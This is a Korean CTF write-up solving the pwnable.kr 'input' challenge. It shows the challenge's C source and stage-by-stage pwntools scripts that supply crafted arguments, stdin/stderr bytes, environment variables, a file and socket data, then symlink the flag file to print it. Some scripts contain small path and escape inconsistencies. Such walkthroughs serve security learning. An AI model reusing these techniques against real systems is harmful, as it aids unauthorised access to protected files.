[문제]
[풀이]
문제에 접속해 파일 목록을 확인하니 input이라는 실행파일과 c코드가 존재하였다.
input.c 파일을 확인하면 다음과 같은 소스코드를 확인할 수 있다.
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 #include <sys/socket.h>
5 #include <arpa/inet.h>
6
7 int main(int argc, char* argv[], char* envp[]){
8 printf("Welcome to pwnable.kr\n");
9 printf("Let's see if you know how to give input to program\n");
10 printf("Just give me correct inputs then you will get the flag :)\n");
11
12 // argv
13 if(argc != 100) return 0;
14 if(strcmp(argv['A'],"\x00")) return 0;
15 if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
16 printf("Stage 1 clear!\n");
17
18 // stdio
19 char buf[4];
20 read(0, buf, 4);
21 if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
22 read(2, buf, 4);
23 if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
24 printf("Stage 2 clear!\n");
25
26 // env
27 if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
28 printf("Stage 3 clear!\n");
29
30 // file
31 FILE* fp = fopen("\x0a", "r");
32 if(!fp) return 0;
33 if( fread(buf, 4, 1, fp)!=1 ) return 0;
34 if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
35 fclose(fp);
36 printf("Stage 4 clear!\n");
37
38 // network
39 int sd, cd;
40 struct sockaddr_in saddr, caddr;
41 sd = socket(AF_INET, SOCK_STREAM, 0);
42 if(sd == -1){
43 printf("socket error, tell admin\n");
44 return 0;
45 }
46 saddr.sin_family = AF_INET;
47 saddr.sin_addr.s_addr = INADDR_ANY;
48 saddr.sin_port = htons( atoi(argv['C']) );
49 if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
50 printf("bind error, use another port\n");
51 return 1;
52 }
53 listen(sd, 1);
54 int c = sizeof(struct sockaddr_in);
55 cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
56 if(cd < 0){
57 printf("accept error, tell admin\n");
58 return 0;
59 }
60 if( recv(cd, buf, 4, 0) != 4 ) return 0;
61 if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
62 printf("Stage 5 clear!\n");
63
64 // here's your flag
65 system("/bin/cat flag");
66 return 0;
67 }
총 5단계로 구성되어 있으며, 각 stage 별로 분석해보고자 한다.
[stage1]
// argv
13 if(argc != 100) return 0;
14 if(strcmp(argv['A'],"\x00")) return 0;
15 if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
16 printf("Stage 1 clear!\n");
13: argc가 100이 아니면 프로그램 종료
14: argv['A']가 \x00이 아니면 프로그램 종료
-> A는 ASCII 변환 시 65이므로 65번째 인자가 \x00이어야 한다.
-> 터미널 창에서 python -c ~~ 형태로 hex 값을 주면 \x00을 문자열이 아닌 null로 인식하기 때문에, pwntool를 이용해야 한다.
15: argv['B']가 \x20\x0a\x0d이 아니면 프로그램 종료
-> B는 ASCII 변환시 66이므로 66번째 인자가 \x20\x0a\x0d이어야 한다.
16: 모든 조건 통과 시, Stage 1 clear 문구 출력
stage 1에 대한 exploit 코드를 작성해보면 다음과 같다.
* /tmp 아래에 작성할 수 있음. (나머지 폴더는 쓰기 권한이 없기 때문)
1 from pwn import *
2
3 arg = [str(i) for i in range(0,100)]
4 arg[ord('A')] = '\x00'
5 arg[ord('B')] = '\x20\x0a\x0d'
6
7 p = process(executable = '/home/input2/input', argv = arg)
8
9 p.interactive()
from pwn import *
p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")
arg = [str(i) for i in range(100)]
arg[65] = "\x00"
arg[66] = "\x20\x0a\x0d"
p2 = p.process(executable='/home/input2/input', argv=arg)
print p2.recvuntil("clear!\n")
3: 100개의 인자를 주기 위해 for 문으로 작성하여 리스트로 만든다.
-> arg = ["" for i in range(0,100)] 으로 작성해도 동일하다.
4: 65번째 인자에 \x00 저장
5: 66번째 인자에 \x20\x0a\x0d 저장
7: 프로세스 실행
executable = '/home/input2/input'
-> 현재 경로에 있는 파일을 실행하는 것이 아니기 때문에 경로를 절대경로로 지정해줘야 한다.
argv =arg
-> 인자를 지정해주는데, argv는 리스트 형태를 갖고 있어야 한다!
Stage1 을 clear 할 수 있다.
[Stage 2]
18 // stdio
19 char buf[4];
20 read(0, buf, 4);
21 if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
22 read(2, buf, 4);
23 if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
24 printf("Stage 2 clear!\n");
20: 입력 값(stdin)으로 buf에 4바이트만큼 작성
*read() 함수
read(int fd, void *buf, size nbytes) 형태로 사용
fd 0 -> stdin(표준 입력)
fd 1 -> stdout(표준 출력)
fd 2 -> stderr(표준 에러)
21: buf의 메모리 4바이트와 \x00\x0a\x00\xff 4바이트를 비교한다.
-> 20번 코드에서 입력 값으로 준 값과 비교하는 것
22: buf의 4바이트 만큼 표준 에러로 읽어온다.
23: buf의 메모리 4바이트와 \x00\x0a\x02\xff 4바이트를 비교한다.
24: 모든 조건을 만족할 경우 Stage 2 clear 문장을 출력한다.
stage 2에 대한 exploit 코드를 작성해보면 다음과 같다.
1 from pwn import *
2
3 argvs = ["" for i in range(0,100)]
4 argvs[ord('A')] = '\x00'
5 argvs[ord('B')] = '\x20\x0a\x0d'
6
7 p = process(executable = '/home/input2/input', argv = argvs, stderr = open('./err'))
8
9 payload = '\x00\x0a\x00\xff'
10 with open('./err', 'w') as f:
11 f.write('\x00\x0a\x02\xff')
12
13 p.sendline(payload)
14
15 p.interactive()
7: 표준 에러가 추가되므로 stderr의 경로를 설정해준다.
*표준 에러를 작성할 err 파일은 사전에 만들어야 한다.
9: 표준 입력으로 작성할 값 \x00\x0a\x00\xff을 payload에 저장한다.
10: 사전에 제작한 err 파일을 읽어와 \x00\x0a\x02\xff를 작성한다.
13: 9번에 저장한 payload를 전송한다.
pwntool로 폴더와 파일을 만드는 방법도 있다.
9 p.run("mkdir /tmp/sikk")
10 p.write('/tmp/sikk/err', "\x00\x0a\x02\xff")
11
12 p2 = p.process(executable='/home/input2/input', argv=arg,stderr="/tmp/sikk/err")
13
14 print p2.recvuntil("clear!\n")
15 p2.send("\x00\x0a\x00\xff")
16
17 print p2.recvuntil("clear!\n")
[Stage 3]
// env
27 if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
28 printf("Stage 3 clear!\n");
27: \xca\fe\xba\xbe와 getenv로 구한 \xde\xad\xbe\ef의 환경변수 값이 동일한지 비교한다.
stage 3에 대한 exploit 코드를 작성해보면 다음과 같다.
1 from pwn import *
2
3 p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")
4
5 arg = [str(i) for i in range(100)]
6 arg[65] = "\x00"
7 arg[66] = "\x20\x0a\x0d"
8
9 p.run("mkdir /tmp/sikk")
10 p.write('/tmp/sikk/err', "\x00\x0a\x02\xff")
11 en = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
12
13 p2 = p.process(executable='/home/input2/input', argv=arg,stderr="/tmp/sikk/err",env=en)
14
15 print p2.recvuntil("clear!\n")
16 p2.send("\x00\x0a\x00\xff")
17
18 print p2.recvuntil("clear!\n")
19 print p2.recvuntil("clear!\n")
11: 환경변수는 dictionary 형태로 설정해줘야 하므로, \xdeadbeef와 \xcafebabe를 설정하여 13번 코드에 추가해준다.
-> 변수로 할당하지 않고 13번 코드에 바로 작성하는 방법도 있다.
p = process(executable = '/home/input2/input', argv = argvs, stderr = open('./err'), env={'\xde\xad\xbe\xef' : '\xca\xfe\xba\xbe'})
[Stage 4]
// file
31 FILE* fp = fopen("\x0a", "r");
32 if(!fp) return 0;
33 if( fread(buf, 4, 1, fp)!=1 ) return 0;
34 if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
35 fclose(fp);
36 printf("Stage 4 clear!\n");
31: \x0a라는 파일을 읽어와 fp에 저장한다.
33: read 함수로 fp에서 4바이트를 1번 읽어온다.
34: \x0a파일에서 읽어온 값이 \x00\x00\x00\x00이면 stage4를 해결할 수 있다.
stage 4에 대한 exploit 코드를 작성해보면 다음과 같다.
1 from pwn import *
2
3 p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")
4
5 arg = [str(i) for i in range(100)]
6 arg[65] = "\x00"
7 arg[66] = "\x20\x0a\x0d"
8
9 p.run("mkdir /tmp/dongdd")
10 p.write('/tmp/sikk/err', "\x00\x0a\x02\xff")
11 p.write('/tmp/sikk/\x0a', "\x00\x00\x00\x00")
12 en = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
13
14 p2 = p.process(cwd="/tmp/dongdd/",executable='/home/input2/input',
15 argv=arg,stderr="/tmp/sikk/err",env=en)
16
17 print p2.recvuntil("clear!\n")
18 p2.send("\x00\x0a\x00\xff")
19
20 print p2.recvall()
11: \x0a이름을 가진 파일을 만들어 \x00\x00\x00\x00 값을 저장한다.
[Stage 5]
// network
39 int sd, cd;
40 struct sockaddr_in saddr, caddr;
41 sd = socket(AF_INET, SOCK_STREAM, 0);
42 if(sd == -1){
43 printf("socket error, tell admin\n");
44 return 0;
45 }
46 saddr.sin_family = AF_INET;
47 saddr.sin_addr.s_addr = INADDR_ANY;
48 saddr.sin_port = htons( atoi(argv['C']) );
49 if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
50 printf("bind error, use another port\n");
51 return 1;
52 }
53 listen(sd, 1);
54 int c = sizeof(struct sockaddr_in);
55 cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
56 if(cd < 0){
57 printf("accept error, tell admin\n");
58 return 0;
59 }
60 if( recv(cd, buf, 4, 0) != 4 ) return 0;
61 if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
62 printf("Stage 5 clear!\n");
48: C번째 인자(67번째 인자)를 port 번호로 저장한다.
60: 포트를 열어 4바이트를 수신하고, 받은 값을 buf에 저장한다.
61: 해당 값이 \xde\xad\xbe\eb이면 stage 5가 해결된다.
stage 5에 대한 exploit 코드를 작성해보면 다음과 같다.
1
2 from pwn import *
3
4 p = ssh(user="input2", host="pwnable.kr", port=2222, password="guest")
5
6 arg = [str(i) for i in range(100)]
7 arg[65] = "\x00"
8 arg[66] = "\x20\x0a\x0d"
9 arg[67] = "12345"
10
11 p.run("mkdir /tmp/sikk")
12 p.write('/tmp/sikk/err', "\x00\x0a\x02\xff")
13 p.write('/tmp/sikk/\x0a', "\x00\x00\x00\x00")
14 en = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
15
16 p2 = p.process(cwd="/tmp/sikk/",executable='/home/input2/input',
17 argv=arg,stderr="/tmp/sikk/err",env=en)
18
19 print p2.recvuntil("clear!\n")
20 p2.send("\x00\x0a\x00\xff")
21
22 print p2.recvuntil("clear!\n")
23 print p2.recvuntil("clear!\n")
24 print p2.recvuntil("clear!\n")
25
26 p1 = p.remote('localhost',12345)
27 p1.send("\xde\xad\xbe\xef")
28
29 print p2.recv()
9: 67번 argv에 임의의 포트번호를 지정해준다.
26: 지정한 포트로 원격접속 한다.
27: \xde\xad\xbe\xef를 보낸다.
이대로 보내게 되면 flag는 출력되지 않는 것을 볼 수 있다. 이는 flag 파일이 해당 경로에 존재하지 않기 때문이다.
따라서 심볼릭 링크를 설정해주어야 한다.
이에 대한 방법은 pwntool에 작성하거나, 터미널 창에서 입력하는 방법 2가지가 있을 수 있다.
ln -s 명령으로 /home/input2/flag 파일을 flag라는 이름으로 링킹하면 flag라는 링크가 생겼음을 알 수 있다.
2번째 방법은 pwntool 코드에 아래의 코드를 작성하면 심볼릭링크를 설정할 수 있다.
ar = [str(i) for i in range(4)]
ar[1] = "-s"
ar[2] = "/home/input2/flag"
ar[3] = "flag"
p.process(cwd='/tmp/sikk/', executable='/bin/ln',argv=ar)
심볼릭 링크까지 추가해주면 flag를 획득할 수 있다.
'Wargame > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] blackjack (0) | 2021.08.12 |
---|---|
[Pwnable.kr] leg (0) | 2021.08.04 |
[Pwnable.kr] random (0) | 2021.07.22 |
[Pwnable.kr] passcode (0) | 2021.06.03 |
[Pwnable.kr] flag (0) | 2021.06.03 |